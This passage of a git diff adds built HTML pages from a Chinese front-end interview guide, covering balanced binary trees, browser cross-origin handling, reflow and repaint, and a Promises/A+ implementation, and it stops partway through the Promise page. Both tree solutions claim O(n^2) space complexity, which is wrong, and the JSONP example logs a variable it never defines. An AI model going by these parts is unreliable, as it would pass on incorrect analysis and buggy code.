0!==n&&(a.key=n),r&&(a.className+=" "+r),a})),p(this,"getStyleForToken",(function(e){var n=e.types,r=e.empty,o=n.length,a=t.getThemeDict(t.props);if(void 0!==a){if(1===o&&"plain"===n[0])return r?{display:"inline-block"}:void 0;if(1===o&&!r)return a[n[0]];var l=r?{display:"inline-block"}:{},i=n.map((function(e){return a[e]}));return Object.assign.apply(Object,[l].concat(i))}})),p(this,"getTokenProps",(function(e){var n=e.key,r=e.className,o=e.style,a=e.token,l=y({},g(e,["key","className","style","token"]),{className:"token "+a.types.join(" "),children:a.content,style:t.getStyleForToken(a),key:void 0});return void 0!==o&&(l.style=void 0!==l.style?y({},l.style,o):o),void 0!==n&&(l.key=n),r&&(l.className+=" "+r),l})),p(this,"tokenize",(function(e,t,n,r){var o={code:t,grammar:n,language:r,tokens:[]};e.hooks.run("before-tokenize",o);var a=o.tokens=e.tokenize(o.code,o.grammar,o.language);return e.hooks.run("after-tokenize",o),a}))}return e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t,t.prototype.render=function(){var e=this.props,t=e.Prism,n=e.language,r=e.code,o=e.children,a=this.getThemeDict(this.props),l=t.languages[n];return o({tokens:function(e){for(var t=[[]],n=[e],r=[0],o=[e.length],a=0,l=0,i=[],c=[i];l>-1;){for(;(a=r[l]++)0?u:["plain"],s=p):(u=h(u,p.type),p.alias&&(u=h(u,p.alias)),s=p.content),"string"==typeof s){var y=s.split(d),f=y.length;i.push({types:u,content:y[0]});for(var g=1;g0}))}var _=null==n?void 0:n.replace(/language-/,"");!_&&i.defaultLanguage&&(_=i.defaultLanguage);var A=E.replace(/\n$/,"");if(0===b.length&&void 0!==_){for(var I,R="",z=function(e){switch(e){case"js":case"javascript":case"ts":case"typescript":return L(["js","jsBlock"]);case"jsx":case"tsx":return L(["js","jsBlock","jsx"]);case"html":return L(["js","jsBlock","html"]);case"python":case"py":return L(["python"]);default:return L()}}(_),F=E.replace(/\n$/,"").split("\n"),V=0;V0&&(i=l.getRangeAt(0)),r.append(o),o.select(),o.selectionStart=0,o.selectionEnd=e.length;var c=!1;try{c=document.execCommand("copy")}catch(s){}o.remove(),i&&(l.removeAllRanges(),l.addRange(i)),a&&a.focus()}(A),y(!0),setTimeout((function(){return y(!1)}),2e3)};return a.createElement(v,(0,r.Z)({},u,{key:String(m),theme:j,code:A,language:_}),(function(e){var t=e.className,n=e.style,o=e.tokens,l=e.getLineProps,i=e.getTokenProps;return a.createElement("div",{className:N},f&&a.createElement("div",{style:n,className:Z},f),a.createElement("div",{className:(0,c.Z)(P,_)},a.createElement("pre",{tabIndex:0,className:(0,c.Z)(t,C,"thin-scrollbar"),style:n},a.createElement("code",{className:S},o.map((function(e,t){1===e.length&&""===e[0].content&&(e[0].content="\n");var n=l({line:e,key:t});return b.includes(t+1)&&(n.className+=" docusaurus-highlight-code-line"),a.createElement("span",(0,r.Z)({key:t},n),e.map((function(e,t){return a.createElement("span",(0,r.Z)({key:t},i({token:e,key:t})))})))})))),a.createElement("button",{ref:g,type:"button","aria-label":(0,x.I)({id:"theme.CodeBlock.copyButtonAriaLabel",message:"Copy code to clipboard",description:"The ARIA label for copy code blocks button"}),className:(0,c.Z)(w,"clean-btn"),onClick:W},p?a.createElement(x.Z,{id:"theme.CodeBlock.copied",description:"The copied button label on code blocks"},"Copied"):a.createElement(x.Z,{id:"theme.CodeBlock.copy",description:"The copy button label on code blocks"},"Copy"))))}))}var _=n(6159),A="details_1VDD";function I(e){var t=Object.assign({},e);return a.createElement(O.PO,(0,r.Z)({},t,{className:(0,c.Z)("alert alert--info",A,t.className)}))}var R=["mdxType","originalType"];var z={head:function(e){var t=a.Children.map(e.children,(function(e){return function(e){var t,n;if(null!=e&&null!=(t=e.props)&&t.mdxType&&null!=e&&null!=(n=e.props)&&n.originalType){var r=e.props,l=(r.mdxType,r.originalType,(0,o.Z)(r,R));return a.createElement(e.props.originalType,l)}return e}(e)}));return a.createElement(l.Z,e,t)},code:function(e){var t=e.children;return(0,a.isValidElement)(t)?t:t.includes("\n")?a.createElement(B,e):a.createElement("code",e)},a:function(e){return a.createElement(i.Z,e)},pre:function(e){var t,n=e.children;return(0,a.isValidElement)(n)&&(0,a.isValidElement)(null==n||null==(t=n.props)?void 0:t.children)?null==n?void 0:n.props.children:a.createElement(B,(0,a.isValidElement)(n)?null==n?void 0:n.props:Object.assign({},e))},details:function(e){var t=a.Children.toArray(e.children),n=t.find((function(e){var t;return"summary"===(null==e||null==(t=e.props)?void 0:t.mdxType)})),o=a.createElement(a.Fragment,null,t.filter((function(e){return e!==n})));return a.createElement(I,(0,r.Z)({},e,{summary:n}),o)},h1:(0,_.Z)("h1"),h2:(0,_.Z)("h2"),h3:(0,_.Z)("h3"),h4:(0,_.Z)("h4"),h5:(0,_.Z)("h5"),h6:(0,_.Z)("h6")}},7594:function(e,t){function n(e){let t,n=[];for(let r of e.split(",").map((e=>e.trim())))if(/^-?\d+$/.test(r))n.push(parseInt(r,10));else if(t=r.match(/^(-?\d+)(-|\.\.\.?|\u2025|\u2026|\u22EF)(-?\d+)$/)){let[e,r,o,a]=t;if(r&&a){r=parseInt(r),a=parseInt(a);const e=r=0||(a[r]=e[r]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(a[r]=e[r])}return a}var p=n.createContext({}),c=function(e){var t=n.useContext(p),r=t;return e&&(r="function"==typeof e?e(t):l(l({},t),e)),r},u=function(e){var t=c(e.components);return n.createElement(p.Provider,{value:t},e.children)},m={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},k=n.forwardRef((function(e,t){var r=e.components,a=e.mdxType,o=e.originalType,p=e.parentName,u=i(e,["components","mdxType","originalType","parentName"]),k=c(r),s=a,d=k["".concat(p,".").concat(s)]||k[s]||m[s]||o;return r?n.createElement(d,l(l({ref:t},u),{},{components:r})):n.createElement(d,l({ref:t},u))}));function s(e,t){var r=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var o=r.length,l=new Array(o);l[0]=k;var i={};for(var p in t)hasOwnProperty.call(t,p)&&(i[p]=t[p]);i.originalType=e,i.mdxType="string"==typeof e?e:a,l[1]=i;for(var c=2;c=0||(l[n]=t[n]);return l}(t,e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(t);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(t,n)&&(l[n]=t[n])}return l}var o=r.createContext({}),k=function(t){var e=r.useContext(o),n=e;return t&&(n="function"==typeof t?t(e):i(i({},e),t)),n},u=function(t){var e=k(t.components);return r.createElement(o.Provider,{value:e},t.children)},m={inlineCode:"code",wrapper:function(t){var e=t.children;return r.createElement(r.Fragment,{},e)}},c=r.forwardRef((function(t,e){var n=t.components,l=t.mdxType,a=t.originalType,o=t.parentName,u=p(t,["components","mdxType","originalType","parentName"]),c=k(n),s=l,N=c["".concat(o,".").concat(s)]||c[s]||m[s]||a;return n?r.createElement(N,i(i({ref:e},u),{},{components:n})):r.createElement(N,i({ref:e},u))}));function s(t,e){var n=arguments,l=e&&e.mdxType;if("string"==typeof t||l){var a=n.length,i=new Array(a);i[0]=c;var p={};for(var o in e)hasOwnProperty.call(e,o)&&(p[o]=e[o]);p.originalType=t,p.mdxType="string"==typeof t?t:l,i[1]=p;for(var k=2;k'),"\u3002"),(0,a.kt)("p",null,"\u88ab\u653b\u51fb\u7f51\u7ad9\u670d\u52a1\u5668\u6536\u5230\u8bf7\u6c42\u540e\uff0c\u672a\u7ecf\u5904\u7406\u76f4\u63a5\u5c06 URL \u7684 name \u5b57\u6bb5\u76f4\u63a5\u62fc\u63a5\u81f3\u524d\u7aef\u6a21\u677f\u4e2d\uff0c\u5e76\u8fd4\u56de\u6570\u636e\u3002"),(0,a.kt)("p",null,"\u88ab\u5bb3\u8005\u5728\u4e0d\u77e5\u60c5\u7684\u60c5\u51b5\u4e0b\uff0c\u6267\u884c\u4e86\u653b\u51fb\u8005\u6ce8\u5165\u7684\u811a\u672c\uff08\u53ef\u4ee5\u901a\u8fc7\u8fd9\u4e2a\u83b7\u53d6\u5bf9\u65b9\u7684 Cookie \u7b49\uff09\u3002"),(0,a.kt)("h4",{id:"12-\u5b58\u50a8\u578b\u6301\u4e45\u6027"},"1.2 \u5b58\u50a8\u578b\uff08\u6301\u4e45\u6027\uff09"),(0,a.kt)("p",null,(0,a.kt)("strong",{parentName:"p"},"\u539f\u7406"),"\uff1a\u653b\u51fb\u8005\u5c06\u6ce8\u5165\u578b\u811a\u672c\u63d0\u4ea4\u81f3\u88ab\u653b\u51fb\u7f51\u7ad9\u6570\u636e\u5e93\u4e2d\uff0c\u5f53\u5176\u4ed6\u7528\u6237\u6d4f\u89c8\u5668\u8bf7\u6c42\u6570\u636e\u65f6\uff0c\u6ce8\u5165\u811a\u672c\u4ece\u670d\u52a1\u5668\u8fd4\u56de\u5e76\u6267\u884c\u3002"),(0,a.kt)("p",null,(0,a.kt)("strong",{parentName:"p"},"\u8981\u70b9"),"\uff1a"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"\u6076\u610f\u4ee3\u7801\u5b58\u50a8\u5728\u76ee\u6807\u7f51\u7ad9\u670d\u52a1\u5668\u4e0a\u3002"),(0,a.kt)("li",{parentName:"ul"},"\u6709\u670d\u52a1\u7aef\u53c2\u4e0e\u3002"),(0,a.kt)("li",{parentName:"ul"},"\u53ea\u8981\u7528\u6237\u8bbf\u95ee\u88ab\u6ce8\u5165\u6076\u610f\u811a\u672c\u7684\u9875\u9762\u65f6\uff0c\u5c31\u4f1a\u88ab\u653b\u51fb\u3002")),(0,a.kt)("p",null,(0,a.kt)("strong",{parentName:"p"},"\u4f8b\u5b50"),"\uff1a"),(0,a.kt)("p",null,"\u653b\u51fb\u8005\u5728\u76ee\u6807\u7f51\u7ad9\u7559\u8a00\u677f\u4e2d\u63d0\u4ea4\u4e86",(0,a.kt)("inlineCode",{parentName:"p"},'
+

平衡二叉树

题目描述#

输入一棵二叉树的根节点,判断该树是不是平衡二叉树。如果某二叉树中任意节点的左右子树的深度相差不超过 1,那么它就是一棵平衡二叉树。

示例 1:

给定二叉树 [3, 9, 20, null, null, 15, 7]
+    3   / \  9  20    /  \   15   7返回 true。

示例 2:

给定二叉树 [1,2,2,3,3,null,null,4,4]
+       1      / \     2   2    / \   3   3  / \ 4   4返回 false。

限制:0 <= 树的结点个数 <= 10000

基本知识点#

二叉树的每个节点最多有两个子节点,平衡二叉树中任意一个节点的左右子树高度相差不能大于 1,满二叉树和完全二叉树都是平衡二叉树,普通二叉树有可能是平衡二叉树。

题解#

解法一#

思路#

若想判断二叉树是不是平衡二叉树,只需要判断左右子树的高度差是不是不超过 1 即可。同时,要满足一个树是平衡二叉树,它的子树也必须是平衡二叉树。我们可以从根结点开始,通过递归来求得子树的高度,以及子树是否是平衡二叉树,以此来结合判断二叉树是否是平衡二叉树。

代码#

/** * Definition for a binary tree node. * function TreeNode(val, left, right) { *     this.val = (val === undefined ? 0 : val) *     this.left = (left === undefined ? null : left) *     this.right = (right === undefined ? null : right) * } *//** * @param {TreeNode} root * @return {boolean} */const isBalanced = function (root) {  if (root === null) {    return true;  } else {    return (      Math.abs(height(root.left) - height(root.right)) <= 1 &&      isBalanced(root.left) &&      isBalanced(root.right)    );  }};
+const height = function (root) {  if (root === null) {    return 0;  } else {    return Math.max(height(root.left), height(root.right)) + 1;  }};

时间复杂度分析#

该方法最坏的情况是每个父节点都只有一个子节点,这样树的高度时间复杂度为 O(n),即“链表”的长度。而第 d 层调用 height 函数的时间复杂度是 O(d),所以整体的时间复杂度为高度时间复杂度 * 调用 height 函数的时间复杂度,即 O(n^2)。

空间复杂度分析#

该方法由于使用了递归,并且每次递归都调用了两次自身,导致会函数栈会按照等差数列开辟,所以该方法的空间复杂度应为 O(n^2)。

解法二#

思路#

上面的方法是自顶而上的,这样其实就会导致每层的高度都要重复计算。那么,我们可以使用后序遍历,这样每个节点的高度就能根据前面的结果算出来。

代码#

/** * Definition for a binary tree node. * function TreeNode(val, left, right) { *     this.val = (val === undefined ? 0 : val) *     this.left = (left === undefined ? null : left) *     this.right = (right === undefined ? null : right) * } *//** * @param {TreeNode} root * @return {boolean} */var isBalanced = function (root) {  return height(root) != -1;};
+var height = function (root) {  if (root == null) {    return 0;  }
+  const left = height(root.left);  const right = height(root.right);
+  if (left === -1 || right === -1 || Math.abs(left - right) > 1) {    return -1;  }
+  return Math.max(left, right) + 1;};

时间复杂度分析#

由于是后序遍历,每个节点只会被调用 1 次,所以,该方法的时间复杂度是 O(n)。

空间复杂度分析#

该方法由于使用了递归,并且每次递归都调用了两次自身,导致会函数栈会按照等差数列开辟,所以该方法的空间复杂度应为 O(n^2)。

Loading script...
+ + + + \ No newline at end of file diff --git a/book1/browser-cross-origin/index.html b/book1/browser-cross-origin/index.html new file mode 100644 index 0000000..8a0e334 --- /dev/null +++ b/book1/browser-cross-origin/index.html @@ -0,0 +1,17 @@ + + + + + + +浏览器跨域 | HZFE - 剑指前端 Offer + + + + +
+

浏览器跨域

相关问题#

  • 什么是跨域
  • 为什么会跨域
  • 为什么有跨域限制
  • 怎么解决跨域

回答关键点#

CORS[1] 同源策略[2]

跨域问题的来源是浏览器为了请求安全而引入的基于同源策略的安全特性。当页面和请求的协议主机名端口不同时,浏览器判定两者不同源,即为跨域请求。需要注意的是跨域是浏览器的限制,服务端并不受此影响。当产生跨域时,我们可以通过 JSONP、CORS、postMessage 等方式解决。

知识点深入#

1. 跨域问题的来源#

跨域问题的来源是浏览器为了请求安全而引入的基于同源策略(Same-origin policy)的安全特性。同源策略是浏览器一个非常重要的安全策略,基于这个策略可以限制非同源的内容与当前页面进行交互,从而减少页面被攻击的可能性。

当页面和请求的协议主机名端口不同时,浏览器判定两者不同源,从而产生跨域。需要注意的是跨域是浏览器的限制,实际请求已经正常发出和响应了。

2. 如何判定跨域#

cors

如上图所示,一个 origin 由协议(Protocol)主机名(Host)端口(Port)组成,这三块也是同源策略的判定条件,只有当协议主机名端口都相同时,浏览器才判定两者是同源关系,否则即为跨域。

3. 跨域的解决方案#

前端常见的跨域解决方案有 CORS、反代、JSONP 等。

3.1 CORS (Cross-Origin Resource Sharing)#

CORS 是目前最为广泛的解决跨域问题的方案。方案依赖服务端/后端在响应头中添加 Access-Control-Allow-* 头,告知浏览器端通过此请求。

涉及到的端

CORS 只需要服务端/后端支持即可,不涉及前端改动。

具体实现方式

CORS 将请求分为简单请求(Simple Requests)需预检请求(Preflighted requests),不同场景有不同的行为:

简单请求

不会触发预检请求的称为简单请求。当请求满足以下条件时就是一个简单请求:

  • 请求方法:GETHEADPOST
  • 请求头:AcceptAccept-LanguageContent-LanguageContent-Type
    • Content-Type 仅支持:application/x-www-form-urlencodedmultipart/form-datatext/plain

需预检请求

当一个请求不满足以上简单请求的条件时,浏览器会自动向服务端发送一个 OPTIONS 请求,通过服务端返回的 Access-Control-Allow-* 判定请求是否被允许。

CORS 引入了以下几个以 Access-Control-Allow-* 开头:

  • Access-Control-Allow-Origin 表示允许的来源
  • Access-Control-Allow-Methods 表示允许的请求方法
  • Access-Control-Allow-Headers 表示允许的请求头
  • Access-Control-Allow-Credentials 表示允许携带认证信息

当请求符合响应头的这些条件时,浏览器才会发送并响应正式的请求。

3.2 反向代理#

反向代理解决跨域问题的方案依赖同源的服务端对请求做一个转发处理,将请求从跨域请求转换成同源请求。

涉及到的端

反向代理只需要服务端/后端支持,几乎不涉及前端改动,只用切换接口即可。

具体实现方式

反向代理的实现方式为在页面同域下配置一套反向代理服务,页面请求同域的服务端,服务端请求上游的实际的服务端,之后将结果返回给前端。

3.3 JSONP#

JSONP 是一个相对古老的跨域解决方案。主要是利用了浏览器加载 JavaScript 资源文件时不受同源策略的限制而实现跨域获取数据。

涉及到的端

JSONP 需要服务端和前端配合实现。

具体实现方式

JSONP 的原理是利用了浏览器加载 JavaScript 资源文件时不受同源策略的限制而实现的。具体流程如下:

  1. 全局注册一个函数,例如:window.getHZFEMember = (num) => console.log('HZFE Member: ' + hzfeMember);
  2. 构造一个请求 URL,例如:https://hzfe.org/api/hzfeMember?callback=getHZFEMember
  3. 生成一个 <script> 并把 src 设为上一步的请求 URL 并插入到文档中,如 <script src="https://hzfe.org/api/hzfeMember?callback=getHZFEMember" />
  4. 服务端构造一个 JavaScript 函数调用表达式并返回,例如:getHZFEMember(17)
  5. 浏览器加载并执行以上代码,输出 HZFE Member: 17

非常用方式#

  • postMessage
    • 即在两个 origin 下分别部署一套页面 A 与 B,A 页面通过 iframe 加载 B 页面并监听消息,B 页面发送消息。
  • window.name
    • 主要是利用 window.name 页面跳转不改变的特性实现跨域,即 iframe 加载一个跨域页面,设置 window.name,跳转到同域页面,可以通过 $('iframe').contentWindow.name 拿到跨域页面的数据。
  • document.domain
    • 可将相同一级域名下的子域名页面的 document.domain 设置为一级域名实现跨域。
    • 可将同域不同端口的 document.domain 设置为同域名实现跨域(端口被置为 null)。

扩展阅读#

1. LocalStorage / SessionStorage 跨域#

LocalStorage 和 SessionStorage 同样受到同源策略的限制。而跨域读写的方式也可以使用前文提到的 postMessage。

2. 跨域与监控#

前端项目在统计前端报错监控时会遇到上报的内容只有 Script Error 的问题。这个问题也是由同源策略引起。在 <script> 标签上添加 crossorigin="anonymous" 并且返回的 JS 文件响应头加上 Access-Control-Allow-Origin: * 即可捕捉到完整的错误堆栈。

3. 跨域与图片#

前端项目在图片处理时可能会遇到图片绘制到 Canvas 上之后却不能读取像素或导出 base64 的问题。这个问题也是由同源策略引起。解决方式和上文相同,给图片添加 crossorigin="anonymous" 并在返回的图片文件响应头加上 Access-Control-Allow-Origin: * 即可解决。

参考资料#

  1. Cross-Origin Resource Sharing (CORS)
  2. Same-origin policy
Loading script...
+ + + + \ No newline at end of file diff --git a/book1/browser-repain-reflow/index.html b/book1/browser-repain-reflow/index.html new file mode 100644 index 0000000..21609f4 --- /dev/null +++ b/book1/browser-repain-reflow/index.html @@ -0,0 +1,17 @@ + + + + + + +浏览器的重排重绘 | HZFE - 剑指前端 Offer + + + + +
+

浏览器的重排重绘

相关问题#

  • 如何提升页面渲染性能
  • 如何减少页面重排重绘
  • 哪些行为会引起重排/重绘

回答关键点#

渲染性能 Layout Paint

浏览器渲染大致分为四个阶段,其中在解析 HTML 后,会依次进入 Layout 和 Paint 阶段。样式或节点的更改,以及对布局信息的访问等,都有可能导致重排和重绘。而重排和重绘的过程在主线程中进行,这意味着不合理的重排重绘会导致渲染卡顿,用户交互滞后等性能问题。

知识点深入#

1. 什么是重排重绘#

image

Layout(布局)

指浏览器计算各元素的几何信息,确定元素的大小以及在页面中的位置等信息的过程。

Paint(绘制/栅格化)

指将渲染树中的每个节点转换成屏幕上的实际像素的过程。

浏览器从获取文档、样式、脚本等内容,到最终渲染结果到屏幕上,需要经过如图所示的步骤。而 DOM 或 CSSOM 被修改,会导致浏览器重复执行图中的步骤。重排和重绘,本质上指的就是分别重新触发 Layout 和 Paint 的过程,且重排必定导致重绘。

引起重排/重绘的常见操作#

  1. 外观有变化时,会导致重绘。相关的样式属性如 color opacity 等。
  2. 布局结构或节点内容变化时,会导致重排。相关的样式属性如 height float position 等。
    • 盒子尺寸和类型。
    • 定位方案(正常流、浮动和绝对定位)。
    • 文档树中元素之间的关系。
    • 外部信息(如视口大小等)。
  3. 获取布局信息时,会导致重排。相关的方法属性如 offsetTop getComputedStyle 等。

2. 如何减少重排重绘#

image

意义#

大多数显示器的刷新率是 60FPS(frames per second)。理想情况下,浏览器需要在 1/60 秒内完成渲染阶段并交付一帧。这样用户就会看到一个交互流畅的页面。

在交互阶段,页面更新(一般是通过执行 JavaScript 来触发)通常会触发重排和重绘。为了提升浏览器渲染效率,应当尽可能减少重绘重排,降低浏览器渲染耗费的时间,尽快将内容渲染到屏幕上。

解决方案#

  1. 对 DOM 进行批量写入和读取(通过虚拟 DOM 或者 DocumentFragment 实现)。
  2. 避免对样式频繁操作,了解常用样式属性触发 Layout / Paint / Composite 的机制,合理使用样式。
  3. 合理利用特殊样式属性(如 transform: translateZ(0) 或者 will-change),将渲染层提升为合成层,开启 GPU 加速,提高页面性能。
  4. 按需缓存布局信息,避免频繁读取。

另外,可以借助 DevTools Performance 面板来查看产生重排重绘任务占用主线程的情况和调用代码。

参考资料#

  1. 渲染树构建、布局及绘制
  2. 避免大型、复杂的布局和布局抖动
  3. CSS 属性触发布局、绘制及合成的数据
  4. What forces layout / reflow
Loading script...
+ + + + \ No newline at end of file diff --git a/book1/coding-promise/index.html b/book1/coding-promise/index.html new file mode 100644 index 0000000..f067a9e --- /dev/null +++ b/book1/coding-promise/index.html @@ -0,0 +1,49 @@ + + + + + + +实现一个 Promises/A+ 规范的 Promise | HZFE - 剑指前端 Offer + + + + +
+

实现一个 Promises/A+ 规范的 Promise

这是一道有着成熟的业界规范的 coding 题,完成这道题的前置知识就是要了解什么是 Promises/A+

这道题的难点就在于它是有规范的,任何一个不满足所有规范条件的解答都是错误的。同时,成熟的规范也配套了成熟的测试用例,官方提供了 872 个测试用例针对规范中的所有条件一一进行检测,哪怕只有一条失败,那也是错误的解答。

而这道题的答题关键也恰恰是因为它是有规范的,只要我们对于规范了然于胸,那么编写代码自然也是水到渠成。因为官方规范提供了一个符合 Promises/A+ 规范的 Promise 应该具有的全部条件,并且在 Requirements 一节中结构清晰、逻辑充分的表述了出来,我们只需将规范中的文字转变为代码,就能够实现一个 Promises/A+ 规范的 Promise。

编写代码#

因为规范条例较多,我们拆解成三块来理解记忆,分别是:基础框架、then 方法和 Promise 处理程序。

每一块由两部分构成:

  • 流程图:展示了代码逻辑的关键步骤,也是优先需要理解记忆的点。
  • 实现代码:展示了代码逻辑的具体细节,是对关键步骤的完善补全。

其中,涉及到规范条例的点会注明规范序号

再次强调,本题的答题关键是熟悉规范!磨刀不误砍柴工,务必先熟悉!熟悉!熟悉!

1. 基础框架#

1.1 流程图#

基本框架

1.2 实现代码#

function Promise(executor) {  // 2.1. Promise 的状态  // Promise 必须处于以下三种状态之一:pending,fulfilled 或者 rejected。  this.state = "pending";  // 2.2.6.1. 如果 promise 处于 fulfilled 状态,所有相应的 onFulfilled 回调必须按照它们对应的 then 的原始调用顺序来执行。  this.onFulfilledCallback = [];  // 2.2.6.2. 如果 promise 处于 rejected 状态,所有相应的 onRejected 回调必须按照它们对应的 then 的原始调用顺序来执行。  this.onRejectedCallback = [];
+  const self = this;
+  function resolve(value) {    setTimeout(function () {      // 2.1.1. 当 Promise 处于 pending 状态时:      // 2.1.1.1. 可以转换到 fulfilled 或 rejected 状态。      // 2.1.2. 当 Promise 处于 fulfilled 状态时:      // 2.1.2.1. 不得过渡到任何其他状态。      // 2.1.2.2. 必须有一个不能改变的值。      if (self.state === "pending") {        self.state = "fulfilled";        self.data = value;        // 2.2.6.1. 如果 promise 处于 fulfilled 状态,所有相应的 onFulfilled 回调必须按照它们对应的 then 的原始调用顺序来执行。        for (let i = 0; i < self.onFulfilledCallback.length; i++) {          self.onFulfilledCallback[i](value);        }      }    });  }
+  function reject(reason) {    setTimeout(function () {      // 2.1.1. 当 Promise 处于 pending 状态时:      // 2.1.1.1. 可以转换到 fulfilled 或 rejected 状态。      // 2.1.3. 当 Promise 处于 rejected 状态时:      // 2.1.2.1. 不得过渡到任何其他状态。      // 2.1.2.2. 必须有一个不能改变的值。      if (self.state === "pending") {        self.state = "rejected";        self.data = reason;        // 2.2.6.2. 如果 promise 处于 rejected 状态,所有相应的 onRejected 回调必须按照它们对应的 then 的原始调用顺序来执行。        for (let i = 0; i < self.onRejectedCallback.length; i++) {          self.onRejectedCallback[i](reason);        }      }    });  }
+  // 补充说明:用户传入的函数可能也会执行异常,所以这里用 try...catch 包裹  try {    executor(resolve, reject);  } catch (reason) {    reject(reason);  }}

2. then 方法#

2.1 流程图#

then 方法

2.2 实现代码#

// 2.2. then 方法// 一个 promise 必须提供一个 then 方法来访问其当前值或最终值或 rejected 的原因。// 一个 promise 的 then 方法接受两个参数:// promise.then(onFulfilled, onRejected)Promise.prototype.then = function (onFulfilled, onRejected) {  const self = this;
+  let promise2;  // 2.2.7. then 必须返回一个 promise  return (promise2 = new Promise(function (resolve, reject) {    // 2.2.2. 如果 onFulfilled 是一个函数:    // 2.2.2.1. 它必须在 promise 的状态变为 fulfilled 后被调用,并将 promise 的值作为它的第一个参数。    // 2.2.2.2. 它一定不能在 promise 的状态变为 fulfilled 前被调用。    // 2.2.2.3. 它最多只能被调用一次。    if (self.state === "fulfilled") {      // 2.2.4. onFulfilled 或 onRejected 在执行上下文堆栈仅包含平台代码之前不得调用。      // 3.1. 这可以通过“宏任务”机制(例如 setTimeout 或 setImmediate)或“微任务”机制(例如 MutationObserver 或 process.nextTick)来实现。      setTimeout(function () {        // 2.2.1. onFulfilled 和 onRejected 都是可选参数:        // 2.2.1.1. 如果 onFulfilled 不是一个函数,它必须被忽略。        if (typeof onFulfilled === "function") {          try {            // 2.2.2.1. 它必须在 promise 的状态变为 fulfilled 后被调用,并将 promise 的值作为它的第一个参数。            // 2.2.5. onFulfilled 和 onRejected 必须作为函数调用。            const x = onFulfilled(self.data);            // 2.2.7.1. 如果 onFulfilled 或 onRejected 返回了一个值 x,则运行 Promise 处理程序 [[Resolve]](promise2, x)。            promiseResolutionProcedure(promise2, x, resolve, reject);          } catch (e) {            // 2.2.7.2. 如果 onFulfilled 或 onRejected 抛出了一个异常,promise2 必须用 e 作为 reason 来变为 rejected 状态。            reject(e);          }        } else {          // 2.2.7.3. 如果 onFulfilled 不是一个函数且 promise1 为 fulfilled 状态,promise2 必须用和 promise1 一样的值来变为 fulfilled 状态。          resolve(self.data);        }      });    }    // 2.2.3. 如果 onRejected 是一个函数,    // 2.2.3.1. 它必须在 promise 的状态变为 rejected 后被调用,并将 promise 的 reason 作为它的第一个参数。    // 2.2.3.2. 它一定不能在 promise 的状态变为 rejected 前被调用。    // 2.2.3.3. 它最多只能被调用一次。    else if (self.state === "rejected") {      // 2.2.4. onFulfilled 或 onRejected 在执行上下文堆栈仅包含平台代码之前不得调用。      // 3.1. 这可以通过“宏任务”机制(例如 setTimeout 或 setImmediate)或“微任务”机制(例如 MutationObserver 或 process.nextTick)来实现。      setTimeout(function () {        // 2.2.1. onFulfilled 和 onRejected 都是可选参数:        // 2.2.1.2. 如果 onRejected 不是一个函数,它必须被忽略。        if (typeof onRejected === "function") {          try {            // 2.2.3.1. 它必须在 promise 的状态变为 rejected 后被调用,并将 promise 的 reason 作为它的第一个参数。            // 2.2.5. onFulfilled 和 onRejected 必须作为函数调用。            const x = onRejected(self.data);            // 2.2.7.1. 如果 onFulfilled 或 onRejected 返回了一个值 x,则运行 Promise 处理程序 [[Resolve]](promise2, x)。            promiseResolutionProcedure(promise2, x, resolve, reject);          } catch (e) {            // 2.2.7.2. 如果 onFulfilled 或 onRejected 抛出了一个异常,promise2 必须用 e 作为 reason 来变为 rejected 状态。            reject(e);          }        }        // 2.2.7.4. 如果 onRejected 不是一个函数且 promise1 为 rejected 状态,promise2 必须用和 promise1 一样的 reason 来变为 rejected 状态。        else {          reject(self.data);        }      });    } else if (self.state === "pending") {      // 2.2.6. then 可能会被同一个 promise 多次调用。
+      // 2.2.6.1. 如果 promise 处于 fulfilled 状态,所有相应的 onFulfilled 回调必须按照它们对应的 then 的原始调用顺序来执行。      self.onFulfilledCallback.push(function (promise1Value) {        if (typeof onFulfilled === "function") {          try {            // 2.2.2.1. 它必须在 promise 的状态变为 fulfilled 后被调用,并将 promise 的值作为它的第一个参数。            // 2.2.5. onFulfilled 和 onRejected 必须作为函数调用。            const x = onFulfilled(self.data);            // 2.2.7.1. 如果 onFulfilled 或 onRejected 返回了一个值 x,则运行 Promise 处理程序 [[Resolve]](promise2, x)。            promiseResolutionProcedure(promise2, x, resolve, reject);          } catch (e) {            // 2.2.7.2. 如果 onFulfilled 或 onRejected 抛出了一个异常,promise2 必须用 e 作为 reason 来变为 rejected 状态。            reject(e);          }        }        // 2.2.7.3. 如果 onFulfilled 不是一个函数且 promise1 为 fulfilled 状态,promise2 必须用和 promise1 一样的值来变为 fulfilled 状态。        else {          resolve(promise1Value);        }      });      // 2.2.6.2. 如果 promise 处于 rejected 状态,所有相应的 onRejected 回调必须按照它们对应的 then 的原始调用顺序来执行。      self.onRejectedCallback.push(function (promise1Reason) {        if (typeof onRejected === "function") {          try {            // 2.2.3.1. 它必须在 promise 的状态变为 rejected 后被调用,并将 promise 的 reason 作为它的第一个参数。            // 2.2.5. onFulfilled 和 onRejected 必须作为函数调用。            const x = onRejected(self.data);            // 2.2.7.1. 如果 onFulfilled 或 onRejected 返回了一个值 x,则运行 Promise 处理程序 [[Resolve]](promise2, x)。            promiseResolutionProcedure(promise2, x, resolve, reject);          } catch (e) {            // 2.2.7.2. 如果 onFulfilled 或 onRejected 抛出了一个异常,promise2 必须用 e 作为 reason 来变为 rejected 状态。            reject(e);          }        }        // 2.2.7.4. 如果 onRejected 不是一个函数且 promise1 为 rejected 状态,promise2 必须用和 promise1 一样的 reason 来变为 rejected 状态。        else {          reject(promise1Reason);        }      });    }  }));};

3. Promise 处理程序#

3.1 流程图#

Promise 处理程序

3.2 实现代码#

